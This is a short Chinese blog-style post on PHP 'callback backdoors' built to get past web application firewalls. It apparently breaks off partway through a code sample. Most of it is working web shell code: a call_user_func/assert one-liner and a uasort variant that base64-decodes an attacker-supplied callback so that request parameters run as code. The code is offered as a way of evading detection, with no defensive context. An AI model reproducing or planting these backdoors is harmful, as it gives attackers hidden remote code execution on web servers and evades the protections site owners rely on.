bypass各种waf--php回调后门

bypass各种waf–php回调后门

一般过狗思路

call_user_func('assert', $_REQUEST['pass'])

双参数回调后门

uasort

<?php
$e=$_REQUEST['e'];
$arr=array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

由此方法引申出的姿势有：

<?php
$e=$_REQUEST['e'];
$arr=array('test'=>1